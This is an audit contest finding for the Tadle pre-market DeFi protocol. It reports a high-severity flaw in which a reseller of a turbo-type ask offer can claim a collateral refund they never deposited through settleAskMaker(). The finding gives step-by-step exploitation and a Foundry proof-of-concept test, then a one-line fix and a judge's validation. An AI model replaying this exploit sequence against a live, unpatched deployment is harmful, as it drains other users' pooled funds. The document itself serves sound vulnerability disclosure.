Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Subsequent ask offerCreator of turbo type also receives `initialCollateralToken`

Summary

Subsequent ask offerCreator of turbo type also receives initialCollateralToken

Vulnerability Details

A user can buy an askOffer of turboType and list it again without paying any collateralToken because it was already paid by initial offer creator.

Once the initial offer creator settles the askOffer using deliveryPlace:settleAskMaker() then he receives back his initialCollateralToken, but the problem is second owner(who bought the initial offer & listed it again) also receives the initialCollateralToken when he settles the askOffer using deliveryPlace:settleAskMaker(), even though he didn't pay any collateralToken to list because it was a turboType.

//Here is how this works

  1. Suppose user created an ask offer of 1000 points with 1000e18 amount(collateralToken) at 10000(100%) collateralRate. And for this user will pay 1000e18 collateralToken to capitalPool as deposit

  2. User2 bought all 1000 points paying 1000e18 collateralToken(ignore tradeTax & plateFormFee) & this 1000e18 collateralToken added to user balance as SalesRevenue

  3. User2 listed it again with 1000e18 amount at 10000(100%) collateralRate without paying any collateralToken as this was turboType

  4. Owner updated the marketPlace with tokenPerPoint = 1e18

  5. User settled the askOffer(using deliveryPlace:settleAskMaker()) with 1000 settledPoint ie paying 1000 pointsToken to capitalPool(which will go to user2 as he bought all points) & successfully receiving back his 1000e18 collateralToken which he paid while creating offer(step 1)

  6. User2 also settled his askOffer(which he created at step 3) with 0 settledPoint(because there was no buyer, so no usedPoints) ie paying 0 pointsToken, but successfully receving 1000e18 collateralToken as initialCollateralToken which he never paid as this was turboType

  7. Also when user2 closed his bidTaker(which he bought in step 2) then he receives 1000e18 pointsToken, which was paid by user while setteling askOffer(step 5)

//Here is PoC which shows the above situation

function test_subsequentCreatorReceivesInitialCollateral() public {
//User created an turbo ask offer for 1000 points with 1000e18 collateralTokens
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1000e18, 10000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
//User2 bought all 1000 points paying 1000e18 collateralToken
vm.startPrank(user2);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1000);
//Listed the offer paying 0 collateralToken as this is a turbo type
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 1000e18, 10000);
vm.stopPrank();
//Owner updated the market with tokenPerPoint = 1e18
vm.prank(user1);
systemConfig.updateMarket("Backpack", address(mockPointToken), 1e18, block.timestamp - 1, 3600);
//User settled his askMaker with 1000 points, receiving his initialCollateral back
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 1000);
vm.stopPrank();
//When user2 settled his askMaker, he also receives initialCollateral which he didn't paid
//while listing offer because this was an turbo type
vm.startPrank(user2);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
deliveryPlace.settleAskMaker(offer1Addr, 0);
//Also when he close his bid, receives the 1000e18 pointsToken
deliveryPlace.closeBidTaker(stock1Addr);
vm.stopPrank();
//User receives 2000e18 collateralToken(1000e18 from user2, because user2 bought 1000 points + 1000e18 as initial collateral which he paid while creating offer)
uint256 salesRevenueOfUser =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(salesRevenueOfUser, 2000e18);
//User2 also receives 1000e18 as initialCollatera
uint256 salesRevenueOfUser2 =
tokenManager.userTokenBalanceMap(user2, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(salesRevenueOfUser2, 1000e18);
//User2 also receives 1000e18 pointsToken which user paid while settling
uint256 pointsTokenOfUser2 =
tokenManager.userTokenBalanceMap(user2, address(mockPointToken), TokenBalanceType.PointToken);
assertEq(pointsTokenOfUser2, 1000e18);
}

As we can see user2 also receives 1000e18 collateralToken, which only initialOffer creator should get, along with 1000e18 pointsToken.
This is issue is happening in deliveryPlace:settleAskMaker() because it fails to check if the offer is originOffer or not

Note: If you see pointsToken balance of user2 as 0, its because there a mismatch of address(submitted as another issue) in closeBidTaker(), which updates the pointsToken at collateralToken address

Impact

Subsequent offerCreators also receive collateralToken, which they didn't paid

Tools Used

Manual Review

Recommendations

Add this check in settleAskMaker(), which checks if the offer is originOffer or not

- if (_settledPoints == offerInfo.usedPoints) {
- ...
- }
+ if (_settledPoints == offerInfo.usedPoints && makerInfo.originOffer == _offer) {
+ ...
+ }
Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-turbo-settleAskMaker-exploit-settlement

Valid high severity, this allows resellers listing offers via `listOffer/relistOffer` to game the system. Based on the inherent design of Turbo mode not requiring takers making ask offers for the original maker offer to deposit collateral, the wrong refund of collateral to takers even when they did not deposit collateral due to turbo mode during settleAskMaker allows possible draining of pools.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.